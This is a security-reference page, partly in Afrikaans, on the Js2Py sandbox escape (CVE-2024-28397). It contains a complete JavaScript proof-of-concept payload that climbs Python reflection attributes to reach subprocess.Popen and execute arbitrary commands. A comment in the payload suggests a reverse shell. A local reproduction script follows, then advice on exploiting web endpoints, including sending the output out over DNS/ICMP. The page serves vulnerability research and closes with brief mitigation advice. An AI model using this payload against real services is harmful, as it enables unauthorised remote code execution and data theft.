Js2Py sandbox escape (CVE-2024-28397)
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Js2Py vertaal JavaScript na Python-objekte, so selfs wanneer js2py.disable_pyimport() gebruik word, kan onbetroubare JS deur Python-internals beweeg om gevaarlike klasse soos subprocess.Popen te bereik. Weergawe 20.74 laat toe om Python-reflection primitives te misbruik wat Js2Py aan JS-objekte blootstel om RCE te kry van andersins “sandboxed” JavaScript.
Primitive: pivot from JS object wrappers to Python objects
- Get a Python-backed object:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space. - Recover attribute access: grab
.__getattribute__from that object and call it to read arbitrary attributes (e.g.,"__class__"). - Climb to
object: from<class 'dict_keys'>read.__base__to reach Python’s baseobject. - Enumerate loaded classes: call
object.__subclasses__()to walk every class already loaded in the interpreter. - Find
subprocess.Popen: recursively search subclasses where__module__ == "subprocess"and__name__ == "Popen". - Execute a command: instantiate Popen with attacker-controlled arguments and invoke
.communicate()to capture output.
Voorbeeld payload wat Js2Py misbruik om subprocess.Popen te bereik
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
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Hoekom dit werk: Js2Py openbaar Python-voorwerphulpe aan JS sonder om `__getattribute__`, `__class__`, `__base__`, of `__subclasses__` te verwyder. `disable_pyimport()` blokkeer slegs eksplisiete `pyimport`, maar die bogenoemde ketting voer nooit iets nuuts in nie; dit hergebruik reeds gelaaide modules en klasse in geheue.
## Reproduksie van die ketting plaaslik
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Werking teen web sandboxes
- Enige eindpunt wat deur die aanvaller beheerde JS in
js2py.eval_jsinvoer (byvoorbeeld ’n Flask/run_codeAPI) lei onmiddellik tot RCE as die prosesgebruiker shell-toegang het. - Om
jsonify({'result': result})terug te gee sal misluk wanneer.communicate()bytes teruggee; decodeer dit of stuur die uitvoer direk na DNS/ICMP om serialiseringsblokkers te vermy. disable_pyimport()verhoed nie hierdie ketting nie; harde isolasie (afsonderlike proses/container) of verwydering van Js2Py se uitvoering van onbetroubare kode is nodig.
Verwysings
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
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